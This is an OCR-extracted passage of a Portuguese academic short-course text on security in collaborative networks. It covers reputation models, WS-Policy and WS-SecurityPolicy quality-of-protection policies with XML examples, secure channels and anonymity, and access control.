zem uso de médias ponderadas para calcular a probabilidade de uma entidade honrar a
negociacdo. Para cada provedor de opinides € atribuido um peso, diferenciando assim a
influéncia de cada opinido no célculo do valor da confianca sobre uma determinada enti-
dade. Nos trabalhos [Buchegger e Boudec 2003, Whitby et al. 2005, Teacy et al. 2006,
de Mello et al. 2009a], a probabilidade € calculada através de métodos estatisticos os
quais fazem uso das interagdes passadas para prever como serd o comportamento fu-
turo, tanto dos provedores de opinides quanto da entidade para qual se deseja formar um
valor de confianca. Tais trabalhos fazem uso da andlise bayesiana e assim para determinar
a probabilidade (a posteriori) é necessario conhecer a probabilidade a priori, podendo
esta ser obtida através de uma funcdo densidade de probabilidade de uma distribui¢cdo
beta®’[de Mello et al. 2009a], veja equacio 4.

f(P):%pa_l(l—p)B_l,sendo a,fp>0 4)
I(x) = /Om e 't dt )

sendo I'(x) a fun¢do Gama de Euler que estende a nogdo de fatorial para valores nio
inteiros.

Todos trabalhos usam de maneira semelhante a distribuicdo beta para determinar
a probabilidade de uma entidade vir a honrar a intera¢do. Os parimetros o e 8 sdo usados
como probabilidade a priori e registram o total de intera¢des que resultaram em sucesso
e em insucesso, respectivamente. Sistemas de reputagdes tornam-se mais precisos a partir
do momento que suas bases possuam um grande nimero de registros. Em seu inicio,
quando ndo existem registros nas bases, tem-se uma distribuicdo uniforme, ou seja, a
probabilidade de qualquer interacao ocorrer com sucesso ou insucesso € exatamente igual.

Os trabalhos de [Whitby et al. 2005] e [Teacy et al. 2006] diferem entre si na for-
ma como tratam a detec¢ao de opinides ndo confidveis. Em [Whitby et al. 2005] as opi-
nides de provedores que se desviarem da maioria sdo descartadas. Em [Teacy et al. 2006]
¢ comparado o histérico de opinides fornecidas por um provedor com o que de fato foi
observado nas interacdes diretas com a entidade sobre quem este provedor opiniou. Se o
provedor de opinides fornecer de forma continuada opinides semelhantes, entdo assume-
se que o provedor € preciso, caso contrario, assume-se que este € impreciso e suas opinides
sdo descartadas.

O modelo apresentado em [de Mello et al. 2009a] também faz uso da média pon-
derada, porém os pesos sdo obtidos através de métodos estatisticos, com base nas experi-
éncias observadas pela entidade que estd solicitando as opinides. Neste modelo, como em
[Teacy et al. 2006] as opinides recebidas consideram o histérico do provedor de opinides,
permitindo assim que as opinides dos bons provedores prevalecam sobre as opinides de
provedores maliciosos.

?’Determinada pelos parimetros o e f3, é usada para representar variaveis aleatérias limitadas a um
intervalo, por exemplo, entre O e 1 [Jain 1991].
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Determinar o grau de confianca sobre uma entidade consiste também em obser-
var em qual contexto tal entidade estd inserida. A delimitacdo do contexto serve para
expressar a confian¢ca com uma maior precisao, haja visto que uma entidade pode atuar
em diferentes contextos e para cada um desses a mesma pode assumir diferentes com-
portamentos. Em [de Mello et al. 2009a] cada entidade possui uma base de experiéncias
diretas que contém os histéricos das interagdes que realizou com as demais entidades.
Para cada entidade presente nesta base, sdo registradas as experiéncias separadas por con-
texto. Essa separacdo permite determinar em quais contextos a entidade, para a qual se
estd calculando a confianga, se mostrou mais correta e no caso de ndo houver ainda qual-
quer experiéncia em um determinado contexto, a combinacdo de todas as experiéncias,
nao importando o contexto, pode ajudar a prever o comportamento para o contexto de-
sejado. As interacdes seguintes, dentro do contexto desejado, iriam entdo aprimorar esta
visdo inicial da confianca.

A separagdo por contextos de confianga pode ajudar um gerente de uma Organiza-
cdo Virtual a verificar quais parceiros atenderiam melhor uma oportunidade de negdcio.
O grau de confianga deixaria de estar relacionado a honestidade de uma entidade e pas-
saria agora estar relacionado a capacidade daquela entidade realizar uma negociacdo de
forma satisfatéria. Assim, as entidades candidatas a parceiro de negdcio, além de atuarem
no contexto como parceiro de negécio em uma OV, poderiam também atuar no contexto
de provedoras de opinides.

O uso de um modelo de confianga aliado a um sistema de reputagdo, atende as ne-
cessidades relacionadas as fases de criag@o e execucao, por exemplo, de uma Organizagdo
Virtual. O sistema de reputacdo pode ser usado para classificar o grau de competéncia dos
possiveis parceiros de negdcio além de permitir classificar o quao precisos sao no provi-
mento de opinides, pois as entidades que ja atuaram como parceiros de negécio poderiam
agora ser também provedores de opinides, formando assim as redes de confianga.

Com os sistemas de reputacdo, € possivel calcular a probabilidade de uma dada
entidade honrar uma futura negociacio, porém nao € possivel ter certeza que essa nego-
ciacdo ocorrerd com sucesso. O estabelecimento dindmico de redes colaborativas exigem
meios para garantir que nenhuma entidade participante obtenha beneficios em detrimento
das demais partes. Em [Asokan et al. 2000], é apresentado um protocolo para troca de as-
sinaturas digitais, de forma justa, sobre um conteddo eletronico (definido como contrato),
sendo que nenhuma parte serd prejudicada caso a transacao ndo possa ser terminada com
sucesso.

O protocolo garante que sempre uma parte poderd forcar o término de uma transa-
cdo, de forma justa e com base em um limite temporal, sem que necessite da cooperagao
da outra parte e mesmo em uma rede assincrona. A solucdo tradicional para este pro-
blema sempre envolve uma Terceira Parte Confidvel (TPC). Cada parte envia seu item
(p.e. assinatura sobre o contrato) para a TPC e esta s6 efetuard a troca dos itens assim
que receber os itens de todas as partes envolvidas. O fato de acionar a TCP em todas as
transacdes torna a solucdo ineficiente. Em [Asokan et al. 2000] é apresentada uma versdo
otimista do protocolo em que a TPC s6 € acionada em casos onde uma parte tenha um
comportamento indesejado, proposital ou nao.

A combinacao de modelos de confianca e mecanismos parecidos com o protocolo
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proposto por [Asokan et al. 2000] permitem assim o estabelecimento dinamico da confi-
anca para a concepc¢ao de redes colaborativas, além de prover ferramentas para melhorar
o funcionamento de uma rede que ja esteja na fase de execugao.

3.4.3. Gerenciamento de Politicas de Qualidade de Protecao

As politicas de qualidade de protecdo (QoP) sdo expressdes formais, processdveis por
computador, declaradas por organizacdes e anexadas aos seus servigos, que indicam
quais mecanismos de seguranca a organizacdo suporta ou requer para acessar os servi-
cos [Boger et al. 2009]. Essas politicas devem ser aplicada as mensagens trocadas com
servigco para garantir que os requisitos de seguranca da organizacao serdo respeitados.

Tratando-se de uma politica de QoP, os requisitos de seguranca podem ser indica-
coes de quais informacdes sao sigilosas e precisam ser cifradas, quais informacdes devem
ser assinadas, os algoritmos criptograficos suportados ou requeridos, os mecanismos e
os tipos de credenciais de autenticacao suportados ou requeridos, ou outros requisitos de
seguranca necessdrios para que a comunicacao possa ocorrer de forma segura de acordo
com as necessidades da organizacgdo.

Se as organizacOes desejam se comunicar dinamicamente de forma segura, estas
podem declarar politicas de QoP e publicar essas politicas juntamente com a descri¢ido
dos servicos providos. Colaboradores que desejarem invocar o servico poderdo entdao
avaliar a possibilidade de cumprir a politica anexada. Essa verificacdo pode ser feita
automaticamente se o colaborador que deseja invocar o0 servico possui seus requisitos ou
capacidades também especificados em uma politica. As duas politicas, uma anexada pelo
provedor de servigo e outra definida pelo cliente podem ser comparadas automaticamente
para verificar se hd acordo entre os requisitos [Boger et al. 2009].

Em situacdes mais complexas, como em um processo de negdcio, ou durante a
criagdo de uma OV, onde pode haver vdrias organizacdes envolvidas, as politicas de QoP
sdo ainda mais importantes. Com essas politicas, é possivel automatizar a verificagdo da
compatibilidade dos requisitos de seguranca de todas as comunicagdes, desde que todas as
organizagdes declararem seus requisitos em politicas expressas em uma linguagem padrao
e que uma descri¢do formal do processo de negdcio esteja disponivel e indique quais as
invocagdes de servicos serdo realizadas.

Para os servigos Web, a linguagem padrao para expressar politicas é a WS-Policy
[WS-POLICY 2007]. A WS-Policy é uma linguagem altamente extensivel que permite
expressar diversos tipos de requisitos ndo funcionais de servigos Web, como seguranca,
confiabilidade e otimizacdo nas trocas de mensagens. A seguir, tem-se a descricdo desta
linguagem e do padrao WS-SecurityPolicy. Na seqiiéncia, alguns aspectos de gerencia-
mento de politicas WS-Policy sdo apresentados e, por fim, um estudo de caso é descrito.

WS-Policy

WS-Policy é um padrao W3C que “define um framework e um modelo para expressar
politicas que se referem a capacidades, requisitos e caracteristicas gerais de entidades
em um sistema baseado em servigos Web” [WS-POLICY 2007]. E um padrao de ampla
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aceitacdo e presente na maioria das ferramentas para desenvolvimento de solu¢des em
Servicos Web.

Uma politica expressa em WS-Policy € formada por um conjunto de alternativas de
politica, sendo que cada alternativa é formada por um conjunto de assercoes de politica.
Cada assercao de politica representa um requisito, uma capacidade ou outra propriedade
de um comportamento especifico de um dominio, como seguranca [WS-POLICY 2007].
A WS-Policy define apenas o modelo geral das politicas, mas ndo define nenhuma asser-
cdo. As assercdes sdo especificadas em outros padroes, como o WS-SecurityPolicy que
define assercodes de seguranca.

Uma politica que nao contém nenhuma alternativa ndo pode ser satisfeita (chama-
remos de politica nula). Uma politica que contém uma ou mais alternativas € satisfeita se
exatamente uma dessas alternativas € satisfeita. Uma alternativa de politica que ndo con-
tém nenhuma asser¢do nao indica nenhuma caracteristica comportamental e € satisfeita
trivialmente. Uma alternativa com uma ou mais asser¢des € satisfeita somente se todas
as assercoes sdo satisfeitas. A satisfacdo de uma assercdo resulta em um comportamento
que reflete a restri¢do indicada, que € especifica do dominio.

A Figura 3.6 apresenta um exemplo simples de politica em WS-Policy. A politica
contém duas alternativas, cada uma representada por um elemento <wsp : A11> (linhas 5
a7 e 8a10), contidas em um elemento <wsp : Exact 1yOne> (linhas 4 a 11) que repre-
senta a escolha. As assercdes representadas pelos elementos <sp:Basic256Rsal5>
(linha 6) e <sp:TripleDesRsal5> (linha 9) sdo especificadas na WS-SecurityPolicy
e representam, cada uma, um conjunto diferente de algoritmos criptograficos. Normal-
mente, essas asser¢oes nao siao usadas sozinhas como no exemplo da Figura 3.6, mas em
conjunto com outras asser¢oes de seguranca, como serd explicado na préxima secao.

1 |<wsp:Policy

2 xmlns:sp="http://docs.oasis-open.org/ws—-sx/ws—securitypolicy
/200702"

3 xmlns:wsp=" http://www.w3.org/ns/ws-policy" >

4 <wsp:ExactlyOne>

5 <wsp:All>

6 <sp:Basic256Rsalb />
7 </wsp:All>

8 <wsp:All>

9 <sp:TripleDesRsal5 />
10 </wsp:All>

11 </wsp:ExactlyOne>
12 |[</wsp:Policy>

Figura 3.6. Exemplo de politica WS-Policy

A politica da Figura 3.6 estd na forma normal, definida na WS-Policy, em que
as alternativas estdo indicadas explicitamente na politica. No entanto a linguagem per-
mite construgdes mais complexas, como aninhamento de operadores, assercdes marcadas
como opcionais e referéncias de politicas, que permitem uma representacao mais intuitiva
e compacta da politica. Toda politica possui uma forma normal equivalente e a WS-Policy
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apresenta um procedimento para realizar a transformacdo para tal forma.

Além de uma forma para expressar politicas, o padrao WS-Policy também define
algumas operagdes sobre politicas, a normalizacdo de politica, a unido de politicas e a
interseccdo de politicas, que permitem manipular politicas de forma consistente e inde-
pendente das assercdes e dos dominios utilizados.

A operacao de normalizacao de politicas transforma uma politica em uma outra na
forma normal equivalente, que é um formato mais simples para a manipulacio automatica
por computador. Notavelmente, a operacdo de intersec¢do € bastante simples de explicar
em termos de alternativas de politicas e uma implementacio bésica poderd fazer uso da
normalizagdo para simplificar o processamento.

A unido de politicas junta duas politicas em uma outra que representa a combi-
nacdo das alternativas das duas. Em termos de alternativas, a politica resultante da unido
conterd alternativas que sdo formadas pela concatenagcdo de uma alternativa de uma poli-
tica com uma alternativa da outra. Satisfazer a unido é equivalente a satisfazer exatamente
uma alternativa de cada uma das politicas unidas.

A operacdo de interseccao € a que permite a verificagcdo de compatibilidade entre
politicas [WS-POLICY 2007]. Assim como na unido, a intersec¢do ¢ formada pela con-
catenagdo de alternativas das politicas, no entanto a alternativa resultante da concatenagado
s6 € adicionada ao resultado se as duas alternativas forem compativeis. Duas alternati-
vas sdo consideradas compativeis se e somente se cada asser¢cdo de uma alternativa for
compativel com pelo menos uma assercao da outra. A compatibilidade de assercdes €
apenas parcialmente definida no padrao WS-Policy, de forma que as especificagdes po-
dem estender o algoritmo de compatibilidade com informagdes especificas de dominio.
A base do algoritmo de interseccdo de asser¢des € comparar os nomes dos elementos
XML que representam as assercdes e verificar a compatibilidade das politicas aninhadas
nessas assergdes, se houver.

O resultado da interseccao de duas politicas conterd as alternativas compativeis
de ambas, ou nenhuma alternativa se as politicas forem incompativeis. E essa caracterfs-
tica que permite verificar se duas politicas declaradas por dois parceiros que desejam se
comunicar sdo compativeis, isto €, se um parceiro suporta os requisitos do outro. Além
disso, o resultado da intersecc@o ainda indica quais as alternativas que foram satisfeitas e
permite aos parceiros aplicar os mecanismos corretos no momento de se comunicar.

O padrao WS-Policy define trés mecanismos de anexagdo de politica, conforme
ilustrados na Figura 3.7. Os dois primeiros mecanismos, mostrados respecivamente nos
elementos das linhas 1 a3 e 5 a 10, anexam politicas a um elemento XML qualquer sim-
plesmente pela adi¢cdo de um atributo wsp :PolicyURIs, no primeiro caso, ou de sub-
elementos <wsp:PolicyReference>, no segundo caso. No terceiro tipo de anexo,
ilustrado nas linhas 12 a 23 da Figura, o alvo da anexacdo estd indicado no elemento
<wsp:AppliesTo>, que € seguido pela indicacdo de quais politicas estdo sendo ane-
xadas e por um elemento opcional <wsse: Security>, que € definido na especificacio
WS-Security [WS-SECURITY 2006] e serve para prover caracteristicas de seguranca ao
anexo de politica, com uso assinaturas digitais e credenciais (fokens).

As politicas sdo geralmente anexadas aos elementos da descricilo WSDL do ser-
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1 | <MyElement wsp:PolicyURIs="
2 http://example.com/policies/rm-policy
3 http://example.com/policies/X509-endpoint—-policy" />

5 | <MyElement>

<wsp:PolicyReference
URI="http://example.com/policies/rm-policy" />

8 <wsp:PolicyReference

9 URI="http://example.com/policies/X509-endpoint-policy" />

10 | <MyElement/>

12 |<wsp:PolicyAttachment>
13 <wsp:AppliesTo>

14 <wsp:URI>

15 http://example.com/services/srv.wsdl#wsdl.endpoint (srv/endp)
16 </wsp:URI>

17 </wsp:AppliesTo>

18 <wsp:PolicyReference

19 URI="http://example.com/policies/rm-policy" />

20 <wsp:PolicyReference

21 URI="http://example.com/policies/X509-endpoint-policy" />

2 <wsse:Security>...</wsse:Security>

23 | </wsp:PolicyAttachment>

Figura 3.7. Exemplo de anexacao de politica WS-Policy

vico, como <wsdl:operation>. Nesse caso, a politica € aplicada a todas as mensa-
gens trocadas com o servico relacionadas com a invocacdo dessa operagdo. O mesmo vale
para os elementos <wsdl:service>, <wsdl:endpoint>, <wsdl:binding>, <
wsdl:interface>, <wsdl:operation>, <wsdl:input>, <wsdl:output>,
<wsdl:fault>, <wsdl:infault> e <wsdl:outfault> e a politica aplicada a
uma mensagem € a unido de todas as politicas anexadas aos elementos com os quais a
mensagem esta relacionada.

WS-SecurityPolicy

O WS-SecurityPolicy [WS-SECURITYPOLICY 2007] define um conjunto de asserc¢oes,
para serem usadas em politicas WS-Policy, que indicam a capacidade ou o requerimento
da aplicacdo dos padrdes de seguranca para servicos Web (WS-Security, WS-Trust e WS-
SecureConversation) as mensagens trocadas com um servico. Sao essas asser¢des, em
conjunto com a linguagem WS-Policy, que definem o formato padrdo para expressar poli-
ticas de qualidade de protecdo para Servigos Web.

Por questdo de espaco e objetividade, ndo serd possivel abordar todas as assercoes
definidas na WS-SecurityPolicy. Ao invés, um exemplo simples de politica de QoP ex-
pressa em WS-Policy e WS-SecurityPolicy esta apresentado na Figura 3.8 e explicado a
seguir.

As asser¢Oes SignedParts e EncryptedParts (linhas 2 e 3) indicam que
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1 |<wsp:Policy xmlns:wsp="..." xmlns:sp="...">

2 <sp:SignedParts><sp:Body /></sp:SignedParts>

3 <sp:EncryptedParts><sp:Body /></sp:EncryptedParts>
4 <sp:AsymmetricBinding>

5 <wsp:Policy>

6 <sp:InitiatorToken>

7 <wsp:Policy>

8 <wsp:ExactlyOne>

9 <sp:SamlToken

10 sp:IncludeToken=".../IncludeToken/Always">
1 <sp:IssuerName>saml-authority</sp:IssuerName>
12 </sp:SamlToken>

13 <sp:X509Token

14 sp:IncludeToken=".../IncludeToken/Always">
15 <sp:IssuerName>x509-ca</sp:IssuerName>

16 </sp:X509Token>

17 </wsp:ExactlyOne>

18 </wsp:Policy>

19 </sp:InitiatorToken>

20 <sp:RecipientToken>

21 <wsp:Policy>

2 <wsp:ExactlyOne>

23 <sp:SamlToken

2 sp:IncludeToken=".../IncludeToken/Always">
25 <sp:IssuerName>other-saml-authority</sp:IssuerName>
26 </sp:SamlToken>

27 <sp:X509Token

28 sp:IncludeToken=".../IncludeToken/Always">
29 <sp:IssuerName>other-x509-ca</sp:IssuerName>
30 </sp:X509Token>

31 </wsp:ExactlyOne>

k) </wsp:Policy>

33 </sp:RecipientToken>

34 <sp:AlgorithmSuite>

35 <wsp:Policy>

36 <wsp:ExactlyOne>

37 <sp:Basic256 />

38 <sp:Basicl92 />

39 </wsp:ExactlyOne>

40 </wsp:Policy>

41 </sp:AlgorithmSuite>

4 <sp:ProtectTokens />

43 <sp:Layout><wsp:Policy><sp:Strict /></wsp:Policy></sp:Layout>
44 </wsp:Policy>

45 </sp:AsymmetricBinding>

46 |</wsp:Policy>

Figura 3.8. Exemplo de politica de QoP expressa em WS-Policy e WS-SecurityPolicy
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o corpo das mensagens deve ser cifrado e assinado. A asser¢do AsymmetricBinding
indica que criptografia assimétrica serd usada, sendo que as credenciais do emissor e
receptor (InitiatorToken, nas linhas 6 a 19, e RecipientToken, nas linhas 20
a 33) da mensagem podem ser ou uma assercdo SAML emitida pela autoridade de nome
saml-authority (asser¢des SamlToken, nas linhas 9 a 12 e 23 a 26) ou um certificado
X.509 emitido pela CA x509-ca (asser¢des X509Token, nas linhas 13 a 16 e 27 a 30). Os
algoritmos criptograficos aceitos sdo indicados dentro da assercdo AlgorithmSuite
(linhas 34 a 41) e, nesse exemplo, dois conjuntos de algoritmos sao suportados, Basic256
(asser¢do Basic256, na linha 37) e Basic192 (asser¢do Basic192, na linha 38).

A politica nesse exemplo ndo estd na forma normal, no entanto € ficil perceber
que esta contém oito alternativas formadas com as possiveis combinacdes das opg¢des de
credencial do emissor, credencial do receptor e conjunto de algoritmos criptograficos.
Um cliente que deseje se comunicar com um servi¢o que use essa politica deve satisfazer
apenas uma dessas alternativas.

Ha muitas outras assercdes definidas na WS-SecurityPolicy. Ha outras formas de
declarar quais partes das mensagens devem ser protegidas, outras asser¢oes de foken, ou-
tros conjuntos de algoritmos criptograficos, hd asser¢Oes para usar criptografia simétrica
ou usar HTTPS, assercdes que exigem ou permitem o uso de credenciais adicionais na
mensagem, e ainda outras. O melhor documento para obter informagdes detalhadas sobre
essas assercoes € a propria especificacdo WS-SecurityPolicy.

Aspectos de Gerenciamento

Além de definir os requisitos de seguranca dos servigos providos na forma de politicas,
para alcancgar todo o dinamismo proposto pelas AOSs, as organizacdes precisam fazer
com que essas politicas estejam acessiveis aos potenciais parceiros. Além disso, os co-
laboradores que obtiverem as politicas devem ser capazes de avaliar a autenticidade e a
integridade dessas politicas.

Nos servigos Web, hé diversas formas de disponibilizar as politicas WS-Policy de
um servico. A mais simples delas € adicionar as politicas diretamente como elementos
de extensdao na WSDL do servico e, com isso, aproveitar os mecanismos de descoberta
existentes para WSDL, como os servigos de registro UDDI. Em algumas situacdes, no
entanto, outros mecanismos podem ser mais interessantes. Por exemplo, se a politica de
um servi¢co deve ser atualizada com certo dinamismo, talvez os registros nao oferecam
a agilidade necessaria. Nesse caso, algum dos mecanismos definido na especificagdo
WS-MetadataExchange [WS-METADATAEXCHANGE 2009] pode ser usado, como a
operacdo GetMetadata, para obter a ultima versdo da politica.

Na WS-Policy, mecanismos para prover caracteristicas de seguranca podem ser
adicionados aos anexos de politica no elemento <wsse:Security> conforme apre-
sentado anteriormente. Esse elemento poderd conter assinaturas digitais e credenciais
de seguranca a fim de garantir a autenticidade e a integridade tanto das politicas, que
podem estar incluidas diretamente no anexo, quanto do préprio anexo. Se a operacio
GetMetadata for implementada, a WS-Security pode ser usada para assinar o conteido da
mensagem com as politicas.



134 Minicursos SBSeg 2009

Estudo de caso

Para ilustrar as possibilidades das politicas de QoP abordadas anteriormente, nessa se¢ao
serd apresentado um exemplo de ciclo de vida de uma organizacdo virtual no contexto da
rede TechPlast definida na Sec¢ao 3.2.4.

Para fins de exemplo, suponhamos que uma empresa participante da rede Tech-
Plast, a Plasmax, que produz pecas plésticas de uso doméstico, recebe uma encomenda
de pecas acima da sua capacidade usual, de forma que nio conseguird atender ao pe-
dido sozinha. Estd situac@o configura, entdo, uma oportunidade de negécio (ON) e, neste
caso, a Plasmax serd o gerente da OV que se formard. De acordo com a ON, a empresa
Plasmax organiza um workflow para cumprir a demanda da seguinte forma: a empresa
Plasmax produzira as pecgas do pedido segundo a sua capacidade maxima, e para tal de-
veré realizar compras de matéria-prima adicional; o restante do pedido serd repassado a
uma outra empresa que produza a mesma categoria de objetos plasticos e que suporte o
mesmo formato de peca.

Depois de definir o workflow para a l6gica de negdcio, a Plasmax iniciara o pro-
cesso de busca e selecdo de parceiros. Nessa etapa serdo escolhidos os parceiros que
participardo da OV e os servicos que serdo invocados no processo de negdcio para aten-
der a ON. Nessa etapa, além dos requisitos funcionais, das relacdes de confianga e outros
fatores relacionados ao negécio, a selecdo deve levar em conta também os requisitos de
seguranca das empresas a serem selecionadas. Por exemplo, a empresa Plasmax consi-
dera a informacgdo de seus pedidos de matéria-prima altamente sigilosa, pois um espiao
de outra empresa poderia usar essa informacao para tentar descobrir férmulas quimicas
de substancias usadas nos seus produtos. Dessa forma, a Plasmax s6 fara pedidos de
matérias-primas por meio de servicos providos por fornecedores se esses servicos supor-
tarem a encriptacao das mensagens de pedido.

Supondo que cada empresa da TechPlast possui seus anexos de politicas de QoP
disponibilizados no UDDI da TechPlast, o servicos de busca e sele¢do provido na rede
colaborativa, no momento da avaliacdo de compatibilidade de um determinado servigo,
obterd as politicas WS-Policy dos parceiros, verificard a autenticidade e integridade das
mesmas, analisard o workflow para saber quais operagdes dos servicos serdao invocadas e
comparard, por meio da intersec¢do, as politicas WS-Policy dos servigos envolvidos. Se
ndo houver compatibilidade o servi¢o é descartado e um outro parceiro é buscado. Se
houver compatibilidade dos requisitos de seguranca, a politica resultante da interseccao é
associada a troca de mensagem representada na descrigdao do workflow.

Se foi possivel encontrar servicos adequados, o servico de busca e selecdo devol-
verd para a Plasmax a descricdo do workflow juntamente com a lista dos servigos selecio-
nados e com as politicas resultantes das interseccdes realizadas. Com essas informagdes,
a Plasmax pode configurar um motor de orquestracdo que implementaréd o workflow invo-
cando os servigos selecionados anteriormente e aplicard, para cada troca de mensagem, a
politica comum aos servigos descoberta na etapa de busca e selecdo. Além das politicas
de QoP, para configurar corretamente o motor de orquestracdo € preciso que sejam defi-
nidos ainda varios parametros, como a localizac@o das chaves criptograficas, os nomes de
usuario, as senhas, etc..
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A partir da configuracdo realizada, é possivel executar o workflow e efetivar a
oportunidade de negécio. Cada parceiro selecionado para a OV, receberd as requisicoes
da Plasmax e desempenhara seu papel no workflow. Por fim, a OV pode ser desfeita, se
nao houver mais pedidos semelhantes.

3.4.4. Provisionamento de Canais Seguros

Nas redes colaborativas, a comunicacao entre os integrantes do sistema deve garantir a
confidencialidade, a integridade e a autenticidade das informacdes transmitidas, de acordo
com a politica de qualidade de protecao estabelecida. Em alguns sistemas surgem tam-
bém requisitos de privacidade ou anonimato [Pfitzmann e Hansen 2007], que incluem a
preservacdo da identidade de pares de nés comunicantes, a ndo vinculacao de mensagens
especificas aos seus nds de origem ou destino ou ainda a ocultacido da identidade da real
origem de uma requisi¢ao ou do né que efetivamente atende a tal requisicao.

A arquitetura dos Servigos Web estd diretamente ligada ao XML e as extensoes de
seguranca deste padrao definidas pela W3C, tais como as recomendacdes XML-Signature
[Bartel et al. 2002] e XML-Encryption[Imamura et al. 2002]. Estas recomendagdes per-
mitem expressar assinaturas digitais e cifragem de dados em formato XML, sendo que
os dados assinados e/ou cifrados podem ser ou ndo documentos XML. Estes mecanismos
tornam possivel a segurancga fim-a-fim para os processos de negécios que usam o XML
para troca e armazenamento de dados, garantindo assim: (1) a protecdo da integridade
com granularidade fina; (2) a autenticacao da origem dos dados e, (3) a confidencialidade
de campos especificos.

Padronizada pela OASIS, a especificagao WS-Security [OASIS 2004] define apri-
moramentos para garantir integridade, confidencialidade e autenticidades das mensagens
SOAP, ou seja, garantir a seguranca fim-a-fim no nivel de mensagem e nao somente no
nivel de transporte. Este padrao visa ser flexivel, sendo possivel utilizar uma grande va-
riedade de mecanismos de seguranca e tecnologias, como por exemplo Infra-estruturas
de Chave Publica (ICP), Kerberos ou SSL. Mais especificamente, esta tecnologia prové
suporte para diferentes tipos de credenciais de seguranca (security tokens), possibilitando
que um cliente utilize multiplos formatos de credenciais para a autenticacdo e autorizagao,
multiplos formatos para assinatura e multiplas tecnologias de cifragem de dados. Estas
caracteristicas sdo muito importantes para alcancar a interoperabilidade entre tecnologias
de seguranca de diferentes dominios administrativos. As especificagdes XML Signature
e XML Encryption sdo utilizadas pela WS-Security para conseguir expressar assinaturas e
cifragem no formato XML. O foco principal da WS-Security é promover trocas de men-
sagens SOAP seguras. Caracteristicas como estabelecimento de relagdes de confianca,
mecanismos de autenticacdo e troca de politicas de seguranca ndo fazem parte do escopo
desta especificagdo.

A especificacdo [W3C 2004a] apresenta algumas consideragdes sobre a privaci-
dade na arquitetura dos Servigcos Web, indicando que tal assunto ainda ndo estd com-
pletamente solucionado e necessita de um estudo mais aprofundando. A Platform for
Privacy Preferences (P3P) [W3C 2002] é um projeto do W3C que permite que os si-
tios web expressem suas politicas de privacidade de forma padronizada utilizando XML,
dando aos usudrios o conhecimento sobre como seus dados pessoais serdo tratados. Se-
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gundo [Hung et al. 2004], o uso do P3P ndo pode ser diretamente aplicado no contexto
dos Servigos Web, visto que o P3P foi projetado para que usudrios de sitios web possam
ter controle sobre suas informagdes pessoais. Outro problema € que os vocabuldrios da
P3P estdo direcionados principalmente para descrever as praticas de privacidade dos sitios
web, sobre quais dados irdo coletar dos usudrios € o que irdo fazer com essas informagdes

O anonimato € uma propriedade que estd diretamente relacionada com a privaci-
dade, porém com significado distinto. O acesso anonimo de um usudrio a um sistema
indica que o usudrio ndo serd identificado, garantindo assim a privacidade de sua identi-
dade real [de Mello et al. 2006]. Em [Cattaneo et al. 2004] é apresentada uma extensao
ao SOAP para permitir o acesso andnimo aos Servigos Web. A solugdo estd baseada
no fato de que os usudrios sé precisam provar, para um provedor de servigos, que per-
tencem a um determinado grupo, autorizado pelas politicas do sistema, evitando assim
revelar sua identidade pessoal. A especificacdo WS-Federation segue uma abordagem
semelhante para o anonimato onde clientes podem usar pseudonimos para acessar ser-
vicos, seja dentro da mesma federacdo, seja entre federacdes com relagdo de confiancga
[WS-FEDERATION 2006].

Em [Papastergiou et al. 2008] € tratado o anonimato com os Servigos Web. Nesse
trabalho, o anonimato é garantido pelo uso conjunto de uma rede Tor?® com técnicas de
atraso propositado e reordenacio de mensagens para dificultar rastreamentos baseados em
temporizacao.

3.4.5. Autorizacao e modelos de controle de acesso

Conforme analisado na Secdo 3.3, nas redes colaborativas, a heterogeneidade das organi-
zacOes e a distribuicdo dos recursos em dominios administrativos distintos, fazem surgir
problemas relacionados a defini¢do e gerenciamento de politicas globais de controle de
acesso. Logo, as solucdes cldssicas de controle de acesso ndo atendem as necessidades
dessas redes pois nao sao flexiveis o suficiente e nem se adequam, em termos de granulari-
dade de defini¢do de regras as necessidades que envolvem dominios semanticos distintos
[Zhang et al. 2008].

Os participantes das redes colaborativas ja possuem politicas de controle de acesso
fortemente dependentes do dominio de aplicacdo e defini¢des inerentes ao dominio ad-
ministrativo, como a semantica da politica definida. Ou seja, nestas redes, as politicas
de controle de acesso ndo podem ser verificadas considerando somente o significado sin-
titico uma vez que a identificacdo dos usudrios e dos recursos podem ser diferentes por
conta da heterogeneidade e a ndo existéncia de um acordo prévio entre os parceiros (feito
de forma dinamica) [Rao e Sadeh 2005].

As solucdes de controle de acesso adequadas as redes colaborativas exigem que
durante a composicao dos servicos se tenha uma etapa de mediacdo, onde sdo feitas:
a identificagc@o das politicas, selecdo dos servicos e o acesso e casamento de politicas
baseado no contexto da aplicag@o (semantica). Além disso, a prépria transposi¢ao de cre-
denciais através dos dominios distintos (ver Secao 3.4.1) pode introduz problemas nestas
redes. Algumas credenciais encapsulam a identificacdo/papel do usudrio bem como o0s

Z8http://www.torproject.org/
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recursos que este pretende acessar, logo a falta de padrdo na representacao destas iden-
tificagdes j4 ndo permite um casamento puramente sintdtico. Solugdes de controle de
acesso no contexto de redes colaborativas devem, entdo, tratar os problemas relacionados
a representacdo, transposi¢cdo e casamento de politicas de controle de acesso.

As solucdes de seguranca encontradas na literatura para tratar estes problemas
podem ser classificadas em duas abordagens. Na primeira abordagem, as solugdes ado-
tam uma padronizacdo prévia das politicas de controle de acesso (bases de autorizacio,
usudrios, niveis, recursos e hierarquias) e o desenvolvimento de um framework com base
no modelo UCON proposta por [Zhang et al. 2006] e [Zhang et al. 2008]. A segunda
abordagem, mais adequada para redes colaborativas com suporte a formag¢do dindmica
(OVs), agrupam as solucdes que fazem o mapeamento das politicas existentes para domi-
nios de ontologias, com o objetivo de representar a semantica de cada dominio envolvido
[Patterson et al. 2008, Patterson e Miller 2006, Muthaiyah e Kerschberg 2007].

Solucdes de autorizacao baseadas em Servicos Web Semanticos

Diante da existéncia de diversas linguagens para defini¢do de politicas de autorizacdo, o
que limita a concepc¢do de sistemas distribuidos e abertos baseados em Servicos Web, a
OASIS langou a eXtensible Access Control Markup Language (XACML) [OASIS 2005a],
um sistema de politicas de controle de acesso, baseado em XML. Os cendrios que cons-
tituem as redes colaborativas caracterizados pela heterogeneidade e principalmente por
envolver diferentes dominios administrativos e de seguranga, faz com que a simples re-
presentacao sintdtica desta linguagem nao seja suficiente para as etapas de descoberta e
casamento das politicas de controle de acesso [Damiani et al. 2004].

A linguagem XACML foi concebida visando garantir a interoperabilidade entre
diversas aplicagdes, além de permitir extensdes em sua linguagem de forma a permitir
que desenvolvedores definam novas funcdes, tipos de dados, combinagdes logicas, etc. As
